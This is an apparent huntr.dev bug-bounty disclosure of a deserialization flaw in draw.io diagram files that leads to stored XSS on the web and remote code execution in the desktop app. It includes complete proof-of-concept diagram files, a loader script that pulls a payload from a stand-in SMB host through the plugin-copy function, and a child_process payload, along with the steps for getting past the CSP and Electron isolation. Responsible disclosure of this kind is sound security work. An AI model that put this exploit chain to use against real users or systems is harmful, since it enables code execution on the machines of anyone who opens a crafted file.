Lucene search

K
huntr7085911A4ADA-7FD6-467A-A464-B88604B16FFC
HistoryJun 06, 2022 - 9:04 p.m.

Client-Side RCE and Stored XSS via Unsafe Deserialization of Diagrams

2022-06-0621:04:35
7085
www.huntr.dev
21
deserialization
rce
stored xss
xml
dom
diagrams
code execution

EPSS

0.001

Percentile

29.0%

Description

The deserialization mechanism of diagram files is based on an XML like structure.
When it is read, internal objects are created and properties on those can be set.
Furthermore it allows calling any top-level constructor function and cloning of top level XML/HTML nodes.

This has the consequence that an attacker can create serialized diagrams which would not normally be possible.
By abusing the deserialization mechanism manipulated objects can be created to bypass specific checks.

In this example I will show how an attacker could achieve code execution through tooltips.
The function for generating tooltips looks for tooltip attributes on the diagram elements (relevant code).
If such an attribute (or a localized one) exists, the value will be sanitized an used for the tooltip.
If a tooltip does not exist, the attributes of the element (of it’s XML representation) are collected and shown in the tooltip.
Some of those attributes, those which are special, get filtered out.
The rest of them is used for generating the tooltip basically as a list of name-value pairs.
For this the nodeName and nodeValue of the parsed XML attribute nodes are used.

			for (var i = 0; i < attrs.length; i++)
			{
				if (mxUtils.indexOf(ignored, attrs[i].nodeName) < 0 && attrs[i].nodeValue.length > 0)
				{
					temp.push({name: attrs[i].nodeName, value: attrs[i].nodeValue});
				}
			}
			
[...]

			for (var i = 0; i < temp.length; i++)
			{
				if (temp[i].name != 'link' || !this.isCustomLink(temp[i].value))
				{
					tip += ((temp[i].name != 'link') ? '<b>' + temp[i].name + ':</b> ' : '') +
						mxUtils.htmlEntities(temp[i].value) + '\n';
				}
			}
			
			if (tip.length &gt; 0)
			{
				tip = tip.substring(0, tip.length - 1);
				
				if (mxClient.IS_SVG)
				{
					tip = '<div>' +
						tip + '</div>';
				}
			}

We can see that the value of the attribute will be sanitized as it might contain dangerous content when inserted into HTML.
The name of the attribute is not sanitized, but has to follow the requirements of the XML specification.
This would not allow that the attribute names contain dangerous characters under normal conditions.

The deserialization mechanism allows us to fake the DOM node and overcome this character limitation.
Initially the tooltip function checks if the value of the diagram element is a (DOM) node.

Graph.prototype.getTooltipForCell = function(cell)
{
	var tip = '';
	
	if (mxUtils.isNode(cell.value))
	{
[...]

To pass this check we just need to set the nodeType of the object we set as value to a numeric value.

    isNode: function(a, b, c, d) {
        return null == a || isNaN(a.nodeType) || null != b && a.nodeName.toLowerCase() != b.toLowerCase() ? !1 : null == c || a.getAttribute(c) == d
    }

Then we fake the attributes property by creating an array of objects with the Array and Object constructors.
Those objects simply contain nodeName and nodeValue properties.
The code accepts our fake DOM nodes and now the nodeName is not limited any more.
We can now use HTML and JavaScript to inject our code.

The relevant XML structure would look like the following:

&lt;mxCell id="2" vertex="1" parent="1"&gt;
	&lt;mxGeometry x="90" y="340" width="120" height="60" as="geometry" /&gt;
	&lt;mxCell id="3" as="value" label="bla" nodeType="1"&gt;
		&lt;Array as="attributes"&gt;
			&lt;Object nodeName="&lt;img src=x onerror=alert()&gt;" nodeValue="test" /&gt;
		&lt;/Array&gt;
	&lt;/mxCell&gt;
&lt;/mxCell&gt;

Proof of Concept

To trigger the exploit in the following examples, the display of the tooltip must be triggered by hovering over the single element in the diagram.

Web application (Stored XSS):

Save the following content as any .drawio file and open it in the application:

&lt;mxfile&gt;
  &lt;diagram id="aJXvI5cXjnzRwY48kwuR" name="Page-1"&gt;
    &lt;mxGraphModel dx="719" dy="712" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0"&gt;
      &lt;root&gt;
        &lt;mxCell id="0" /&gt;
        &lt;mxCell id="1" parent="0"&gt;
        &lt;/mxCell&gt;
        &lt;mxCell id="2" vertex="1" parent="1"&gt;
          &lt;mxGeometry x="90" y="340" width="120" height="60" as="geometry" /&gt;
          &lt;mxCell id="3" as="value" label="bla" nodeType="1"&gt;
            &lt;Array as="attributes"&gt;
              &lt;Object nodeName="&lt;img src=x onerror=alert()&gt;" nodeValue="test" /&gt;
            &lt;/Array&gt;
          &lt;/mxCell&gt;
        &lt;/mxCell&gt;
      &lt;/root&gt;
    &lt;/mxGraphModel&gt;
  &lt;/diagram&gt;
&lt;/mxfile&gt;

Desktop application (RCE):

The PoC was designed for Windows and needs some minor changes to work on other operating systems.

The desktop app has some additional security features we need to bypass.
The first one is a relatively strict CSP.

default-src 'self'; connect-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com; img-src * data:; media-src *; font-src *; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com

The application is in the file:// origin and scripts can only be loaded from self.
We can bypass this with a SMB server, because it will allow us to load remote content via file protocol.
Furthermore this will not cause any problems with the same origin policy later on.

Then we need to escape the isolated Electron context.
The previously discovered script gadget (as shown in my first report) does not work any more, because the writeFile function now checks the contents (magic bytes) of the file to be written.
It only allows a limited set of files.

async function writeFile(path, data, enc)
{
	if (!checkFileContent(data, enc))
	{
		throw new Error('Invalid file data');
	}
	else
	{
		return await fsProm.writeFile(path, data, enc);
	}
};

While it is possible to write our JavaScript file, the magic byte check needs to be passed.
This will cause a syntax error in the script.

However, there is another interesting function that provides a copy primitive for attackers.
The installPlugin function will take a path and copies the file to the plugin directory.
Note: This will actually not install the plugin, but just copies a file to a specific location.

async function installPlugin(filePath)
{
	var pluginsDir = path.join(getAppDataFolder(), '/plugins');
	
	if (!fs.existsSync(pluginsDir))
	{
		fs.mkdirSync(pluginsDir);
	}
	
	var pluginName = path.basename(filePath);
	var dstFile = path.join(pluginsDir, pluginName);
	
	if (fs.existsSync(dstFile))
	{
		throw new Error('fileExists');
	}
	else
	{
		await fsProm.copyFile(filePath, dstFile);
	}

	return {pluginName: pluginName, selDir: path.dirname(filePath)};
}

In combination with the getAppDataFolder we can dynamically get the path where the file will be copied to.
Since the copy operation works with remote files located on our SMB server (in the background, without any prompt for the user :) ) this is the perfect alternative. There are no file checks, so any file can be downloaded to the victims computer with this mechanism to a known location.

Steps:

Set up a SMB server.
In this example, the server is located at smb-host.tld, this needs to be changed to the actual location of the SMB server.
Furthermore, the path and the file names need to be adjusted if they differ.

On the SMB server host the following two files.

File 1 (x.js):
This is our “loader” file.
It will be included by the initial XSS payload and triggers the escape from the isolated context.

top.electron.request({action: 'getAppDataFolder'}, (a)=&gt;{
	console.log(a);
	top.electron.request({action: 'installPlugin', filePath: '\\\\smb-host.tld\\Shared Folders\\share\\payload.js'}, (b)=&gt;{
		console.log(b);
		top.electron.sendMessage('newfile', {
			width: 100, 
			height: 100, 
			webPreferences: {
				preload: a +'/plugins/payload.js'
			}
		});
	}, (c)=&gt;{console.log(c)});
}, ()=&gt;{});

File 2 (payload.js):
This is the final payload that will be executed without restrictions.
The typical spawning of the calculator app is used for this example.

require('child_process').spawnSync('calc.exe');

Then create the following .drawio file and open it in the desktop application.
Hovering over the diagram element will trigger the payload execution and the calc.exe will be executed.

&lt;mxfile&gt;
  &lt;diagram id="aJXvI5cXjnzRwY48kwuR" name="Page-1"&gt;
    &lt;mxGraphModel dx="719" dy="712" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0"&gt;
      &lt;root&gt;
        &lt;mxCell id="0" /&gt;
        &lt;mxCell id="1" parent="0"&gt;
        &lt;/mxCell&gt;
        &lt;mxCell id="2" vertex="1" parent="1"&gt;
          &lt;mxGeometry x="90" y="340" width="120" height="60" as="geometry" /&gt;
          &lt;mxCell id="3" as="value" label="bla" nodeType="1"&gt;
            &lt;Array as="attributes"&gt;
              &lt;Object nodeName="&lt;iframe srcdoc='&lt;script src=file:\\smb-host.tld\Shared%20Folders\share\x.js&gt;&lt;/script&gt;'&gt;&lt;/iframe&gt;" nodeValue="test" /&gt;
            &lt;/Array&gt;
          &lt;/mxCell&gt;
        &lt;/mxCell&gt;
      &lt;/root&gt;
    &lt;/mxGraphModel&gt;
  &lt;/diagram&gt;
&lt;/mxfile&gt;

EPSS

0.001

Percentile

29.0%

Related for 911A4ADA-7FD6-467A-A464-B88604B16FFC